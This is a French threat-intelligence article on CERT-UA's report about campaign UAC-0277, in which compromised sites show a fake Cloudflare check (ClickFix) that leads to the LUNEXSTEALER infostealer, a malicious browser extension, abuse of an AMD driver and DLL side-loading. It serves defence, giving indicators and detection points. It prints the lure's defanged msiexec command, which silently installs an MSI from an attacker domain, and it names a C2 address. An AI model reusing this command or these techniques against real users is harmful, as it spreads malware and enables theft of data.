UAC-0277 : ClickFix, smart contracts et LUNEXSTEALER

Le 30 septembre 2026, le CERT-UA (1), l’équipe gouvernementale ukrainienne de réponse aux incidents informatiques rattachée au Service d’État des communications spéciales et de la protection de l’information, publie l’analyse d’une campagne suivie sous l’identifiant de cluster UAC-0277.

En septembre 2026, ses analystes ont relevé plus de cent sites web compromis dont les pages embarquent un code JavaScript malveillant. Sur ces sites compromis, le visiteur voit s’afficher une fausse page de vérification Cloudflare qui, au prétexte de confirmer qu’il est humain, lui demande d’exécuter une commande. Cette commande télécharge et installe un paquet MSI (2) depuis un serveur distant. Le CERT-UA rattache ce procédé à la technique ClickFix.

Plusieurs paquets MSI ont circulé pendant la campagne ; le CERT-UA en a récupéré et analysé trois variantes. Toutes aboutissent à l’exécution de LUNEXSTEALER, un infostealer 64 bits pour Windows doublé d’un agent d’exécution de tâches à distance. Selon la configuration reçue de son serveur de commande, LUNEXSTEALER installe l’extension malveillante LUNARAXE, affichée dans le navigateur sous le nom « Microsoft Office Word Editor », et le composant NAIVEMESS, qui donne à cette extension un accès au système de fichiers.

Une configuration lue dans un smart contract

Le script injecté dans les sites compromis ne contient pas en clair le domaine qui sert la fausse page de vérification. Ce domaine et le mode de fonctionnement du script sont stockés dans un smart contract de la blockchain Polygon ou Ethereum, et relus par le script à chaque exécution, donc depuis le navigateur du visiteur. L’opérateur peut ainsi changer de domaine ou de mode pour l’ensemble des sites compromis, de façon centralisée et sans y retourner.

Fig. 1. Modes de fonctionnement du script injecté, lus dans le smart contract.

En mode 2, la fausse page de vérification n’est présentée qu’à trois conditions cumulées : le visiteur utilise Windows, il arrive par un lien issu d’un moteur de recherche (Google, DuckDuckGo, meta.ua, bigmir.net, entre autres), et elle ne s’est pas déjà affichée deux fois pour lui au cours des 12 dernières heures. Un accès direct au site, depuis un autre système d’exploitation ou sans passer par un moteur de recherche, n’affiche donc pas la page.

Le stockage de données de configuration dans un smart contract a été décrit par Guardio Labs en octobre 2023 sous le nom d’EtherHiding, dans la campagne ClearFake, qui utilisait la BNB Smart Chain. Le GTIG (6) en a documenté l’usage par l’acteur nord-coréen UNC5342 le 16 octobre 2025. L’emploi de Polygon pour distribuer les domaines de campagnes ClickFix a été rapporté en 2026, notamment par Whalebone en mai et par GuidePoint Security en septembre. Le CERT-UA n’établit aucun lien entre UAC-0277 et ces activités, et aucun rapprochement n’est fait ici.

La fausse page de vérification Cloudflare

La fausse page de vérification demande au visiteur d’exécuter une commande. Les trois commandes publiées par le CERT-UA ont la même forme :

msiexec.exe /i "hXXps://uasputnik[.]com/elit.msi" /passive ORG_NOTE=”Захист від автоматичних запитів… ✔️ Підтверджую, що я не робот.”

L’option /i installe le paquet MSI directement depuis l’URL, et /passive déroule l’installation sans intervention, avec une simple barre de progression. La commande se termine par une propriété publique ORG_NOTE dont la valeur, en ukrainien, signifie « Protection contre les requêtes automatisées… ✔️ Je confirme que je ne suis pas un robot. ». Proofpoint avait décrit en novembre 2024 un procédé comparable : un faux message de vérification placé en fin de commande, pour que la victime ne voie pas la commande réelle dans la fenêtre Exécuter.

Nommée par Proofpoint en 2024, la technique ClickFix figure dans ATT&CK (7) sous l’identifiant T1204.004 Malicious Copy and Paste. Le CERT-UA rappelle qu’aucune vérification légitime de type « Je ne suis pas un robot » ne demande ni d’appuyer sur Windows+R ou d’ouvrir l’invite de commandes ou PowerShell, ni de coller une commande pour l’exécuter, et invite à fermer la page dans ce cas, même sur un site connu.

Fig. 2. Les trois variantes de paquet MSI analysées par le CERT-UA.

Variante 2 : BYOVD et CVE-2023-20598

AMD a publié la CVE-2023-20598 le 16 octobre 2023 dans le bulletin AMD-SB-6009. Elle porte sur une gestion incorrecte des privilèges dans le pilote noyau pdfwkrnl.sys d’AMD Software, éditions Adrenalin et PRO : un attaquant authentifié peut, par une requête IOCTL (9) forgée, obtenir le contrôle des entrées-sorties sur des ports matériels ou des adresses physiques arbitraires, avec une exécution de code arbitraire possible. La NVD (10) attribue à la faille un score CVSS (11) 3.1 de 7,8 (vecteur AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), et la CISA (12) la rattache à la CWE-269 (13). Les versions corrigées sont AMD Software Adrenalin Edition 23.9.2, du 19 septembre 2023, et PRO Edition 23.Q4, du 12 décembre 2023.

Dans un scénario BYOVD, la mise à jour du pilote installé sur le poste ne protège pas : l’attaquant dépose sa propre copie signée du pilote vulnérable et la charge. La parade porte sur le chargement du pilote, pas sur la version installée.

La CVE-2023-20598 ne figure pas au catalogue KEV (14) de la CISA (version 2026.10.04 du 4 octobre 2026, 1 734 entrées), et la fiche NVD ne porte aucune date d’ajout à ce catalogue. L’évaluation SSVC (15) de la CISA, datée du 27 juin 2024, retient une exploitation au stade de PoC (16).

Les empreintes publiées par le CERT-UA pour le fichier embedded_driver.sys, SHA-256 (17) 6e8b49cf70bf854e8c59c7d27cefa89406caf8978461190dabb86dafcd8554e1 et MD5 (18) b96d75a000367c200958089728fc5cb8, sont identiques à celles de l’échantillon PDFWKRNL.sys référencé par le projet LOLDrivers depuis le 20 mars 2026. LOLDrivers décrit ce fichier comme le pilote « USB-C Power Delivery Firmware Update Utility Driver » d’Advanced Micro Devices, version 1.0, signé par AMD, et l’a ajouté à son catalogue en référence aux travaux d’ESET sur les EDR (19) killers publiés en mars 2026.

Variante 3 : DLL side-loading

Le CERT-UA présente FnHotkeyUtility.exe comme un fichier légitime, sans en préciser l’éditeur. Il charge spkvol.dll, et cette bibliothèque déchiffre puis lance LUNEXSTEALER. Quatre empreintes distinctes de spkvol.dll figurent parmi les indicateurs. Les chemins publiés placent ces fichiers dans des sous-répertoires de %PROGRAMDATA% nommés SalmonLightSlateGray, SlateGrayChocolate et GrayLightCyan ; les deux fichiers sont réunis dans SalmonLightSlateGray et dans GrayLightCyan. Ces trois noms juxtaposent des noms de couleurs du standard CSS (21) : Salmon, LightSlateGray, SlateGray, Chocolate, Gray et LightCyan.

Fig. 3. Composants de LUNEXSTEALER et de LUNARAXE.

Le CERT-UA estime que la suppression de la CSP permet probablement aux autres composants de LUNARAXE d’exécuter leur propre JavaScript et de transmettre des données, y compris sur des sites dotés de politiques de sécurité strictes.

Native Messaging, la passerelle vers le système de fichiers

Native Messaging est un mécanisme légitime des navigateurs Chromium qui permet à une extension d’échanger des messages avec un programme installé sur le poste. Sous Windows, l’hôte est déclaré par une clé de registre placée sous HKEY_CURRENT_USER ou HKEY_LOCAL_MACHINE, \Software\Google\Chrome\NativeMessagingHosts\<nom> pour Chrome et \Software\Microsoft\Edge\NativeMessagingHosts\<nom> pour Edge, dont la valeur par défaut pointe vers un manifeste JSON (24). Le navigateur démarre lui-même le processus hôte et dialogue avec lui par l’entrée et la sortie standard. Un hôte déclaré sous HKEY_CURRENT_USER s’installe sans droits d’administration.

Le CERT-UA ne précise pas sous quelle racine de registre NAIVEMESS est enregistré. Le nom d’hôte à rechercher sous les deux racines est com.lunex.explorer.

Le CERT-UA ne publie pas de correspondance ATT&CK. Celle-ci est établie pour cet article à partir de sa description, et chaque identifiant a été vérifié sur les données STIX (25) officielles d’ATT&CK Enterprise, version 19.2.

Fig. 4. Correspondance ATT&CK Enterprise v19.2 établie pour cet article.

Les recommandations du CERT-UA et leur mise en œuvre

Fig. 5. Recommandations du CERT-UA et réglages Windows et navigateur correspondants.

Points de recherche

• Création de processus msiexec.exe avec /i et une URL en argument (événement 4688 avec journalisation de la ligne de commande, ou événement Sysmon 1). La chaîne ORG_NOTE= figure dans les trois commandes publiées.
• Valeurs de la clé HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU contenant msiexec ou une URL : cette clé conserve les commandes saisies dans la fenêtre Exécuter, et des règles Sigma publiques s’en servent pour ClickFix.
• Chargement d’un pilote d’empreinte SHA-256 6e8b49cf70bf854e8c59c7d27cefa89406caf8978461190dabb86dafcd8554e1 (événement Sysmon 6). Cette empreinte figure dans les configurations Sysmon publiées par LOLDrivers.
• Ajout d’exclusions à Microsoft Defender : événement 5007 du journal Microsoft-Windows-Windows Defender/Operational portant sur la clé Exclusions.
• Tâche planifiée psychedelicloveUtils (événement 4698 si l’audit correspondant est actif) et mutex Local\psychedeliclove-guard.
• Clé NativeMessagingHosts\com.lunex.explorer pour Chrome ou Edge, sous les deux racines de registre.
• Extension nommée « Microsoft Office Word Editor » dans l’inventaire des extensions de navigateur.
• Répertoire de %PROGRAMDATA% contenant à la fois FnHotkeyUtility.exe et spkvol.dll.
• Flux réseau vers les indicateurs, dont le canal WebSocket 193[.]178.159.128:8080/api/v1/ext/remote.

Le CERT-UA demande qu’on lui signale tout site affichant la fausse page de vérification, et propose aux propriétaires et administrateurs de sites compromis une aide pour établir le mode de compromission.

Indicateurs publiés par le CERT-UA, reproduits à l’identique, notation neutralisée de la source comprise ([.], hXXp, [:]). L’ordre et les regroupements de la source sont conservés ; la colonne Lot numérote les groupes de fichiers tels qu’ils apparaissent dans la publication, sans rattachement à une variante, que le CERT-UA ne précise pas. Les fichiers de l’extension apparaissent dans deux groupes, avec des noms identiques ou proches et des empreintes différentes.

Fichiers

Fig. 6. Fichiers, 28 empreintes en huit groupes.

Réseau

Fig. 7. Adresses IP (27), 7 entrées.

Fig. 8. Domaines, 19 entrées.

Fig. 9. URL, 23 entrées.

Hôte

Fig. 10. Indicateurs hôte, 11 entrées.

Une seule source primaire décrit la campagne. Les éléments vérifiables par ailleurs ont été recoupés avec des sources indépendantes.

1. CERT-UA (1) : Computer Emergency Response Team of Ukraine, équipe gouvernementale ukrainienne de réponse aux incidents informatiques, rattachée au Service d’État des communications spéciales et de la protection de l’information.
2. MSI (2) : Microsoft Installer, format de paquet d’installation traité par Windows Installer, lancé en ligne de commande par msiexec.exe.
3. URL (3) : Uniform Resource Locator, adresse d’une ressource sur le web.
4. BYOVD (4) : Bring Your Own Vulnerable Driver, dépôt et chargement par l’attaquant d’un pilote légitime, signé et vulnérable, pour obtenir des droits en mode noyau.
5. DLL (5) : Dynamic-Link Library, bibliothèque de code chargée dynamiquement par un programme Windows.
6. GTIG (6) : Google Threat Intelligence Group, équipe de Google consacrée à l’analyse des menaces.
7. ATT&CK (7) : Adversarial Tactics, Techniques, and Common Knowledge, référentiel de tactiques et techniques d’attaque maintenu par MITRE.
8. CVE (8) : Common Vulnerabilities and Exposures, identifiant public attribué à une vulnérabilité.
9. IOCTL (9) : Input/Output Control, requête de contrôle adressée par un programme à un pilote.
10. NVD (10) : National Vulnerability Database, base de vulnérabilités du NIST américain.
11. CVSS (11) : Common Vulnerability Scoring System, système de notation de la gravité des vulnérabilités.
12. CISA (12) : Cybersecurity and Infrastructure Security Agency, agence américaine de cybersécurité et de sécurité des infrastructures.
13. CWE (13) : Common Weakness Enumeration, classification des faiblesses logicielles.
14. KEV (14) : Known Exploited Vulnerabilities, catalogue de la CISA des vulnérabilités dont l’exploitation est constatée.
15. SSVC (15) : Stakeholder-Specific Vulnerability Categorization, méthode de priorisation des vulnérabilités employée par la CISA.
16. PoC (16) : Proof of Concept, démonstration technique de l’exploitabilité d’une faille.
17. SHA-256 (17) : Secure Hash Algorithm 256 bits, fonction de hachage employée pour les empreintes de fichiers.
18. MD5 (18) : Message Digest 5, fonction de hachage, employée ici comme empreinte complémentaire.
19. EDR (19) : Endpoint Detection and Response, outil de détection et de réponse sur les postes et serveurs.
20. SHA-1 (20) : Secure Hash Algorithm 1, fonction de hachage de 160 bits.
21. CSS (21) : Cascading Style Sheets, langage de mise en forme des pages web, qui définit une liste de noms de couleurs.
22. HTTP (22) : Hypertext Transfer Protocol, protocole de transfert du web.
23. CSP (23) : Content Security Policy, politique de sécurité qui restreint les sources de scripts d’une page et les destinations de ses envois de données.
24. JSON (24) : JavaScript Object Notation, format texte de données structurées.
25. STIX (25) : Structured Threat Information Expression, format d’échange de données sur les menaces, utilisé pour publier ATT&CK.
26. HVCI (26) : Hypervisor-protected Code Integrity, contrôle d’intégrité du code en mode noyau protégé par l’hyperviseur Windows.
27. IP (27) : Internet Protocol, protocole d’adressage du réseau Internet.

1. CERT-UA, « UAC-0277: ClickFix на скомпрометованих вебсайтах для поширення LUNEXSTEALER », 30 septembre 2026. cert.gov.ua
2. AMD, bulletin AMD-SB-6009, AMD Radeon Graphics Kernel Driver Privilege Management Vulnerability, 16 octobre 2023. amd.com
3. NIST NVD, fiche CVE-2023-20598, publiée le 17 octobre 2023, consultée le 6 octobre 2026. nvd.nist.gov
4. CISA, catalogue Known Exploited Vulnerabilities, version 2026.10.04, 4 octobre 2026. github.com/cisagov/kev-data
5. LOLDrivers, fiche PDFWKRNL.sys, ajoutée le 20 mars 2026. loldrivers.io
6. LOLDrivers, copie de la liste de blocage Microsoft SiPolicy_Enforced.xml, version 10.0.27825.0, mise à jour du 13 avril 2026. github.com/magicsword-io/LOLDrivers
7. Microsoft, KB5020779, The vulnerable driver blocklist after the October 2022 preview release, octobre 2022. support.microsoft.com
8. MITRE, ATT&CK Enterprise v19.2, données STIX, 5 août 2026. github.com/mitre-attack/attack-stix-data
9. MITRE, ATT&CK, T1204.004 Malicious Copy and Paste, consulté le 6 octobre 2026. attack.mitre.org
10. Proofpoint, Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape, novembre 2024. proofpoint.com
11. Guardio Labs, EtherHiding: Hiding Web2 Malicious Code in Web3 Smart Contracts, octobre 2023. guard.io
12. Google Threat Intelligence Group, DPRK Adopts EtherHiding: Nation-State Malware Hiding on Blockchains, 16 octobre 2025. cloud.google.com
13. Whalebone, The Secrets of Blockchain: ClickFix Utilizes Polygon for C2 Domain Distribution, 27 mai 2026. whalebone.io
14. Dark Reading, ClickFix Campaign Compromises 31 Orgs, Abuses Polygon Blockchain, recherche GuidePoint Security, 1er septembre 2026. darkreading.com
15. Google, Chrome for Developers, Native messaging, consulté le 6 octobre 2026. developer.chrome.com
16. Microsoft Learn, politique Edge NativeMessagingUserLevelHosts, consulté le 6 octobre 2026. learn.microsoft.com
17. Microsoft Learn, DisableMSI, stratégie Windows Installer, consulté le 6 octobre 2026. learn.microsoft.com
18. Microsoft, NoRun, entrée de registre de la stratégie Remove Run menu from Start Menu, consulté le 6 octobre 2026. technet.microsoft.com